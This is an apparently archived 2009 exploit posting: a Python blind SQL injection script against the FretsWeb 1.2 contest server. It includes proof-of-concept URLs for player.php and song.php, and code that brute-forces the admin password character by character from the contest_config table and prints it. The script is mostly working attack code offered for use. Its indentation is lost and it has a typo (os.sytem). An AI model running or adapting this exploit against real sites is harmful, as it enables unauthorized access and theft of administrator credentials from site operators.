FretsWeb 1.2 (name) Remote Blind SQL Injection Exploit

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FretsWeb 1.2 (name) Remote Blind SQL Injection Exploit

来源：y3nh4ck3r[at]gmail[dot]com 作者：YEnH4ckEr 发布时间：2009-06-18

#!/usr/bin/python
#***********************************************************************************************
#***********************************************************************************************
#**              **
#**       **
#**     [] [] [] [][][][> []     [] [][ ][]     []   [][]] [] [> [][][][> [][][][]    **
#**     || || || []        [][]   []   [] []     []   []      [] []   [] []    []    **
#   [> [][][][] [][][][> [] [] []   [] []   [][] []       [][]    [][][][> []    []    **
#** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
#**==[>    []     []        []   [][]   [] [] [][][] []       [][]    []           [] [] >>--
#** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
#   [>   [[[]]]   [][][][> [][]   [] [][[] [[]] [][] [][][] [] [> [][][][> <][]   []
#**                                       **
#**          **
#**                           VIVA SPAIN!... GANAREMOS EL MUNDIAL!...o.O                      **
#**    PROUD TO BE SPANISH!                               **
#**       **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|               (GET var 'name') BLIND SQL INJECTION EXPLOIT                   |
#|-------------------------------------------------------------------------------------------|
#|                                    |      FretsWeb 1.2      |          |
#| CMS INFORMATION:                ------------------------                             |
#|              |
#|-->WEB: http://sourceforge.net/projects/fretsweb/             |
#|-->DOWNLOAD: http://sourceforge.net/projects/fretsweb/                      |
#|-->DEMO: N/A      |
#|-->CATEGORY: CMS / Games/Entertainment      |
#|-->DESCRIPTION: Fretsweb is a Contest or Chart Server for Frets on Fire. It...             |
#| is an improved version of FoFCS.It is meant for...               |
#|-->RELEASED: 2009-05-30      |
#|      |
#| CMS VULNERABILITY:      |
#|      |
#|-->TESTED ON: firefox 3                      |
#|-->DORK: N/A              |
#|-->CATEGORY: BLIND SQLi PYTHON EXPLOIT              |
#|-->AFFECT VERSION: CURRENT (MAYBE <= ?)      |
#|-->Discovered Bug date: 2009-06-02      |
#|-->Reported Bug date: 2009-06-02      |
#|-->Fixed bug date: 2009-06-14      |
#|-->Info patch: http://sourceforge.net/projects/fretsweb/      |
#|-->Author: YEnH4ckEr      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com      |
#|-->WEB/BLOG: N/A      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)      |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid name
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[PATH]/player.php?name=[valid_name]'+and+1=1%23 --> TRUE
#http://[HOST]/[PATH]/player.php?name=[valid_name]'+AND+1=0%23 --> FALSE
#
#
#http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=1%23 --> TRUE
#http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=0%23 --> FALSE
#
#--------------
#WATCH VIDEOS
#--------------
#
# BSQLi --> http://www.youtube.com/watch?v=BYrkuAN2ggI
#
# LFI --> http://www.youtube.com/watch?v=LZ8cG_sIHow
#
#
##############################################################################
##############################################################################
##**************************************************************************##
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#Used modules
import urllib,sys,re,os
#Defined functions
def init():
if(sys.platform=='win32'):
os.system("cls")
os.system ("title FretsWeb 1.2 Blind SQL Injection Exploit")
os.system ("color 02")
else:
os.sytem("clear")
print "\t#######################################################\n\n"
print "\t#######################################################\n\n"
print "\t##     FretsWeb 1.2 Blind SQL Injection Exploit      ##\n\n"
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n"
print "\t##       ++Needed: Valid name                        ##\n\n"
print "\t##               Author: Y3nh4ck3r                   ##\n\n"
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n"
print "\t##            Proud to be Spanish!                   ##\n\n"
print "\t#######################################################\n\n"
print "\t#######################################################\n\n"

def request(urltarget):
conn=urllib.urlopen(urltarget)
outcode=conn.read()
#print outcode #--> Active this line for debugger mode
return outcode

def error():
print "\t------------------------------------------------------------\n"
print "\tWeb isn't vulnerable!\n\n"
print "\t--->Maybe:\n\n"
print "\t\t1.-Patched.\n"
print "\t\t2.-Bad path or host.\n"
print "\t\t3.-Bad name.\n"
print "\t\t4.-Magic quotes ON.\n"
print "\t\tEXPLOIT FAILED!\n"
print "\t------------------------------------------------------------\n"
sys.exit()

def testedblindsql():
print "\t-----------------------------------------------------------------\n"
print "\tWEB MAYBE BE VULNERABLE!\n\n"
print "\tTested Blind SQL Injection.\n"
print "\tStarting exploit...\n"
print "\t-----------------------------------------------------------------\n\n"

def helper(filename):
print "\n\t[!!!] FretsWeb 1.2 Blind SQL Injection Exploit\n"
print "\t[!!!] USAGE MODE: [!!!]\n"
print "\t[!!!] python "+filename+" [HOST] [PATH] [NAME]\n"
print "\t[!!!] [HOST]: Web.\n"
print "\t[!!!] [PATH]: Home Path.\n"
print "\t[!!!] [NAME]: Name for fish\n"
print "\t[!!!] Example: python "+filename+" 'www.example.com' 'demo' 'y3nh4ck3r'\n"
sys.exit()

def brute_length(urlrequest):
#Username length
flag=1
i=0
while(flag==1):
i=i+1
blindsql=urlrequest+"'+AND+(SELECT+length(value)+FROM+contest_config+WHERE+name='admin_password')="+str(i)+"%23" #injected code
output=request(blindsql)
if(re.search("<title>Fretsweb - Player</title>",output)):
flag=2
else:
flag=1
#This is the max length of username
if (i>50):
error()
#Save column length
length=i
print "\t<<<<<--------------------------------------------------------->>>>>\n"
print "\tLength catched!\n"
print "\tLength Username --> "+str(length)+"\n"
print "\tWait several minutes...\n"
print "\t<<<<<--------------------------------------------------------->>>>>\n\n"
return length

def exploiting (lengthvalue,urlrequest):
#Bruteforcing values
values=""
k=1
z=32
while((k<=lengthvalue) and (z<=126)):
blindsql=urlrequest+"'+AND+ascii(substring((SELECT+value+FROM+contest_config+WHERE+name='admin_password'),"+str(k)+",1))="+str(z)+"%23" #injected code
output=request(blindsql)
if(re.search("<title>Fretsweb - Player</title>",output)):
values=values+chr(z)
k=k+1
z=32
#new char
z=z+1
return values
#Main
init()
#Init variables
if(len(sys.argv) <= 3):
    helper(sys.argv[0])

host=sys.argv[1]
path=sys.argv[2]
nameforfish=sys.argv[3]
finalrequest="http://"+host+"/"+path+"/player.php?name="+nameforfish
testblind1=finalrequest+"'+AND+1=1%23" #Return true
outcode1=request(testblind1)
testblind2=finalrequest+"'+AND+1=0%23" #Return false
outcode2=request(testblind2)
#Check BSQLi
if(outcode1==outcode2):
error()
else:
testedblindsql()
#Catching length of admin password
lengthadmin=brute_length(finalrequest)
#Catching value of password (not hashed)
passwordadmin=exploiting(lengthadmin,finalrequest)
print "\n\t\t*************************************************\n"
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n"
print "\t\t*************************************************\n\n"
print "\t\tAdmin-password: "+passwordadmin+"\n\n"
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n"
print "\t\t<<------------------------EOF---------------------->>\n\n"
#Check all arguments

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